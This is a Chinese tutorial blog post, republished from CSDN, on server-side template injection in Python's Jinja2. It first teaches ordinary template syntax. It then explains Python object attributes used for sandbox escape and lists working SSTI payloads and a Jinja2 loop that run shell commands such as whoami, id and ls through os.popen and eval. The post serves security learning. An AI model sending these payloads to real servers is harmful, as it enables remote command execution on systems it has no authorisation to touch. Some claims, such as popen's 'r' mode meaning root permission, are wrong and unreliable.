Python中的SSTI (一)

Flask是一个轻量级的python的web框架。轻量级说明他只适用于构建小型网站。

SSTI,Server-Site Template Injection,即服务器模板注入。同XSS注入,SQL注入,XPATH注入一样,他也是注入类的漏洞,形成此漏洞的原因和SQL注入类似,都是在对获取的输入没有过滤或转义,从而发生错误。
此类漏洞多发生在python语言写的网站上

JinJa2是python下面的一个被广泛应用的模板引擎,他的设计思想来源于Django的模板引擎,并扩展了一系列强大的功能。最重要的增加了沙箱和自动转义功能,提高了应用的安全性。

刚才我们解释JinJa2的时候说,他是一种模板引擎。那么什么是模板引擎呢?所谓模板引擎,是为了使用户界面与业务数据分离而产生的。他可以生成特定格式的文档,比如说用于网站的模板引擎就会生成一个标准的HTML文档。

所谓模板引擎,其实就是做一个模板,然后在套入对应位置的数据,最终以HTML的格式展现出来,这就是模板引擎的作用。

可以这样类比:开会!
在小学的时候,每次开会需要提前布置场地,搬好小板凳。而在上大学的时候,每次开会只用去学校的大会议室,桌子板凳音响全都有,人来了就可以使用,也可以复用。

模板引擎就好比已经准备好的桌子板凳音响,只要套入对应位置的数据,就可以直接生成HTML文档使用。

对于模板引擎的介绍,我是看这个博主的,我觉得他写的挺好的,所以我就基本原话用他的了。
链接:https://blog.csdn.net/m0_51945027/article/details/116491279?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164778134916780261970967%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=164778134916780261970967&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allbaidu_landing_v2~default-2-116491279.142v2pc_search_result_control_group,143v4register&utm_term=%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E6%98%AF%E4%BB%80%E4%B9%88&spm=1018.2226.3001.4187

基本语法

Jinja2作为一种模板引擎,肯定包含着 变量表达式,因为这两者都可以被 对应位置的数据替换赋值。模板中也含有 标签,用来 控制模板的逻辑

  • 语句 {%...%}
  • 变量 {{...}}
  • 注释 {#...#}

常用的语句包括:for、if、set、include、block、filter等

变量是通过传递字典来进行使用,然而当使用for语句的时候,变量也可以是列表(比较字典没办法传给for)

基本用法

创建和渲染模板的最基本方法都是通过 Template,通过创建一个 Template实例,就可以得到一个新的模板对象。模板对象有一个 render()方法,该方法可以再调用dict或者keywords参数时填充模板。

from jinja2 import Template

tem = Template('hello,{{name}}')

tem1 = tem.render(name = 'world')

print(tem1)
输出hello,world

一般用法

一般情况下,我们使用*.j2文件作为模板文件,用法如下:

This is a Jinja2 template file created by {{name}}

比如上面这就是一个以文件后缀名为 j2保存的一个模板文件,接下来我们将给这个模板文件进行传参并输出。

导入各种要使用的包,下面介绍各个包的作用
from jinja2 import Environment,FileSystemLoader

这个包用来知道模板文件的路径
j2_loader = FileSystemLoader('./')

这个包用来指定模板文件的环境
env = Environment(loader=j2_loader)

#这个包用来指定模板文件,这条语句就相当于上面基本用法里面的使用Teplate创建一个模板对象
j2_tem = env.get_template('./jinja2.j2')

#这个直接开始调用模板文件,模板对象会提供函数render来进行传参
result = j2_tem.render(name='anda')

print(result)
// 输出

for语句的使用

进入for循环
{% for name in names %}

for循环中对每个item进行操作
hello {{ name }}

结束for循环,必须存在
{% endfor %}

以上为模板文件语句,其文件名为jinja1_j2。

接下来将对这个模板语句调用

from jinja2 import Environment,FileSystemLoader

j2_loader = FileSystemLoader('./')

env = Environment(loader=j2_loader)

j2_tem = env.get_template('./jinja1.j2')

names = ['zhangsan','lisi','wangwu']

result = j2_tem.render(names=names)

print(result)

输出结果为

hello zhangsan

hello lisi

hello wangwu

for循环中也可以插入列表,如果列表的值是字典类型,那么也可以使用for循环对参数进行赋值。
比如:
模板文件

{% for person in persons %}

my name is {{person.name}},i am {{person.age}} years old

{% endfor %}

引用模板的python文件为

from jinja2 import Environment,FileSystemLoader

j2_loader = FileSystemLoader('./')

env = Environment(loader=j2_loader)

j2_tem = env.get_template('./jinja3.j2')

persons = [{'name':'zhangsan','age':'1'},
           {'name':'lisi','age':'2'},
           {'name':'wangwu','age':'3'}]

result = j2_tem.render(persons=persons)

print(result)

if 语句

if语句用来判断,当条件成立时,对语句块文件进行渲染(执行的意思),条件失败,则跳过该语句块。

将上个实例中的for模板修改,只有年龄大于2岁才可以打印输出,那么他的模板语句为

{% for person in persons %}

    {% if person.age > 2 %}

        my name is {{person.name}},i am {{person.age}} years old

    {% endif %}

{% endfor %}

相比于for循环,就多加了一句if,以及用来终止if的endif。其他都是没有什么变化的。

在配置功能较多的模板文件时,可以使用模板继承,将模板分解开来。

使用 include语句可以将一个模板完全插入到另一个模板中去

{% include 'jinja3.j2' %}

另一种继承方法是使用 block语句,子模板引用父模板后,可以指定其中的某一些部分,如果子模板中不存在,则使用父模板中的值,父模板可以将 block留空,让子模板直接填充内容

比方说,我们要先建立一个父模板,他的代码为

{% block test %}

This is line can be replaced

{% endblock %}
#父模板的block中间的模板语句是可以被子模板得block中间的语句取代的

This is father template

在建立一个子模板,他的代码为:

extends用来继承父模板
{% extends 'jinja5_extend_father.j2' %}

block后面名字相同的语句是可以取代父模板的
{% block test %}

This is children template

{% endblock %}

如果我们直接调用子模板,调用代码如下

from jinja2 import Environment,FileSystemLoader

j2_loader = FileSystemLoader('./')

env = Environment(loader=j2_loader)

j2_tem = env.get_template('./jinja5_extend_children.j2')

result = j2_tem.render()

print(result)

他的输出结果就是

This is children template
这句话代替了原来父模板中的block中间的'This is line can be replaced'这一句

This is father template
因为这句话没有在block中,所以没有被子模板中的语句代替,所以还是会继承过来,然后打印输出

filter 语句的使用

filter 语句的作用是对模板数据块的内容进行格式化修改。
比如:大小写转换、统计长度、计算绝对值等,这些都是内置的过滤器。过滤器需要放在表达式或者变量的后面,与表达式或者变量之间用 '|'符号分割。比如 {{name | upper()}}就是将name变量的值全部大写

除了内置过滤器外,也可以自定义过滤器。

自定义过滤器只是常规的python函数,只是将过滤器的左侧作为第一个参数,并且把参数作为额外的参数或关键字传递给过滤器。可以将自己写的函数或者模块导入到环境(就是指要调用模板的python文件)中,进而在Jinja2中使用

Jinja2的默认filter是一个字典,他的查看方式为: Environment.filters

使用方法:通过更新 environment中的 filters字典,在==模板环境(python文件下,不是j2文件下)==下注册。

空白行处理

在上面的实践中,会发现再生成的结果中,有很多空行,默认情况下,jinja2会给渲染之后的结果加上空行。

如果要出去模板中的空行,可以再 for语句、变量表达式的开头或者结尾添加减号(-),就会删除这个语句块之前或者之后的空格

{% for name in names -%}
Hello {{ name }}.

{%- endfor %}

如果减号(-)放在 for 的结尾,就是删除语句块之前的空行,放在endfor 之前,是删除语句块之后的空行,如果前后的空行都删除了,则内容会在同一行。

.__class__:用于返回该对象所属的类。

print('12'.__class__)       //&#x8F93;&#x51FA;<class 'str'>

print(12..__class__)        //&#x8F93;&#x51FA;<class 'float'>
</class></class>

__bases__:以元祖的形式返回一个类所直接继承的类,可以使用数组索引来查看特定位置的值
__base__:以字符串的形式返回一个类所直接继承的第一个类

__mro__:以元祖的形式返回解析方法调用的顺序,可以使用数组索引来查看特定位置的值

__subclasses__:以集合的形式返回获取类的所有子类,可以使用数组索引来查看特定位置的值

__init__:所有自带类都包含有init()方法,他相当于实例化一个对象,比如
print(().__class__.__init__),就相当于实例化一个object类的对象,而 print(().__init__)就相当于实例化一个元组类的对象

__globals__
function.__globals__,用于获取对象所处空间下可使用的module、方法以及所有变量。他会把这个对象空间下(这里的空间就是同一个py文件就行)的所有的方法,变量都显示出来。意思就是他把他所在的py文件里的变量和方法都会给你打印出来,以字典的形式展现

__name__:模块的名称,就是类的名称,它返回的是字符串。比如 print(().__class__.__name__)他就会输出tuple,表示()的类的类名为tuple,也就是元组

__builtins____globals__会返回这个类,所以它可以放在 __globals__的后面,但因为 __globals__是以字典的形式返回的,所以可以用 __globals__['__builtins__']来使用。又因为 __builtins__会以集合的方式返回所有内建函数,所以也包括有 eval()__import__函数,所以SSTI注入的时候,可以利用这个类来执行。他的具体模块名为 <class '_sitebuiltins.quitter'></class>,大概有三个类有, <class 'warnings.catch_warnings'></class>在object类中的排序为140,还有一个在object类中排序为80的 <class '_frozen_importlib.builtinimporter'></class>,还有一个排序为129的 <class '_sitebuiltins.quitter'></class>类,我觉得没有必要纠结他的排序,完全可以用for循环自行判断这些类的顺序。重要的是掌握方法。

__import__()import()用于加载模块名,他的作用和 import &#x6A21;&#x5757;&#x540D; 的作用是一样的

下面是具体演示

class A:
    def __init__(self):
        pass

class B:
    def __init__(self):
        pass

class C(A):
    def __init__(self):
        pass
class D(A):
    def __init__(self):
        pass

c = C()
a = A()

print(c.__class__)      //&#x8F93;&#x51FA;<class '__main__.c'>
print(c.__class__.__bases__)    //&#x8F93;&#x51FA;(<class '__main__.a'>,)
print(c.__class__.__base__)     //&#x8F93;&#x51FA;<class '__main__.a'>
print(c.__class__.__mro__)      //&#x8F93;&#x51FA;(<class '__main__.c'>, <class '__main__.a'>, <class 'object'>)
print(a.__class__.__mro__.__init__())       //&#x8F93;&#x51FA;None
print(a.__class__.__subclasses__())     //&#x8F93;&#x51FA;[<class '__main__.c'>, <class '__main__.d'>]
print(a.__class__.__subclasses__()[0].__init__.__globals__)     //&#x8F93;&#x51FA;{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.sourcefileloader object at 0x00000239cf1a1cf8>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D://xx/xx/1.py', '__cached__': None, 'A': <class '__main__.a'>, 'B': <class '__main__.b'>, 'C': <class '__main__.c'>, 'D': <class '__main__.d'>, 'c': <__main__.c object at 0x00000239cf2264e0>, 'a': <__main__.a object at 0x00000239cf2269b0>}
&#x5C31;&#x662F;&#x628A;&#x8FD9;&#x4E2A;&#x6587;&#x4EF6;&#x4E0B;&#x7684;&#x6240;&#x6709;&#x7684;&#x7C7B;&#xFF0C;&#x6240;&#x6709;&#x7684;&#x65B9;&#x6CD5;&#x5168;&#x90FD;&#x6253;&#x5370;&#x8F93;&#x51FA;

</__main__.a></__main__.c></class></class></class></class></module></_frozen_importlib_external.sourcefileloader></class></class></class></class></class></class></class></class>

我们在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子类,从而完成注入。

对于不同的python版本,paoload也是不同的。

popen()方法

它必须在os的类下面进行运行才可

格式: os.popen(command[, mode[, bufsize]])

command表示指令。
mode表示模式权限,默认为r,表示root权限
举例


import os

c = 'mkdir b'

os.popen(c,'r')     //&#x4ED6;&#x4F1A;&#x521B;&#x5EFA;&#x4E00;&#x4E2A;&#x540D;&#x79F0;&#x4E3A;b&#x7684;&#x6587;&#x4EF6;&#x5939;

python中的SSTI常用的payload

"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()

"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__import__']('os').popen('whoami').read()

"".__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

''.__class__.__mro__[-1].__subclasses__()[128].__init__.__globals__['sys'].modules['os'].popen('ls').read()
//&#x5176;&#x5B9E;&#x8FD9;&#x91CC;&#x9762;&#x7684;-1&#x5C31;&#x662F;&#x5217;&#x8868;&#x4ECE;&#x53F3;&#x5230;&#x5DE6;&#x6309;&#x4E0B;&#x6807;&#x53D6;&#x503C;&#xFF0C;-1&#x8868;&#x793A;&#x4ECE;&#x53F3;&#x5230;&#x5DE6;&#x6570;&#x7684;&#x4E00;&#x4E2A;&#x503C;

"".__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

"".__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

"".__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

或者用下面这种jinja2格式的payload


{% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__=='catch_warnings' %}
        {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}
    {% endif %}
{% endfor %}

// &#x56E0;&#x4E3A;<class 'warnings.catch_warnings'>&#x5185;&#x90E8;&#x4E5F;&#x6709;__builtins__&#x5C5E;&#x6027;&#xFF0C;&#x6240;&#x4EE5;&#x8FD9;&#x4E2A;&#x5FAA;&#x73AF;&#x624D;&#x4F1A;&#x5F97;&#x4EE5;&#x5229;&#x7528;

</class>
''.__class__.__mro__[-1].__subclasses__()[128].__dir__(''.__class__.__mro__[-1].__subclasses__()[128])
// &#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x8FD9;&#x4E2A;&#x67E5;&#x770B;&#x67D0;&#x4E00;&#x7C7B;&#x4E0B;&#x9762;&#x7684;&#x6240;&#x6709;&#x65B9;&#x6CD5;&#xFF0C;&#x5341;&#x5206;&#x597D;&#x7528;
{{''.__class__.__mro__[-1].__subclasses__()[128].__init__.__globals__['sys'].modules['os'].popen('ls').read()
}}

sys.modules  sys.modules&#x662F;&#x4E00;&#x4E2A;&#x5168;&#x5C40;&#x5B57;&#x5178;&#xFF0C;&#x5B57;&#x5178;sys.modules&#x5177;&#x6709;&#x5B57;&#x5178;&#x6240;&#x62E5;&#x6709;&#x7684;&#x4E00;&#x5207;&#x65B9;&#x6CD5;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x8FD9;&#x4E9B;&#x65B9;&#x6CD5;&#x4E86;&#x89E3;&#x5F53;&#x524D;&#x7684;&#x73AF;&#x5883;&#x52A0;&#x8F7D;&#x4E86;&#x54EA;&#x4E9B;&#x6A21;&#x5757;&#x3002;

Original: https://blog.csdn.net/qq_43511094/article/details/123598768
Author: 南方该有月了
Title: Python中的SSTI (一)

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/745994/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球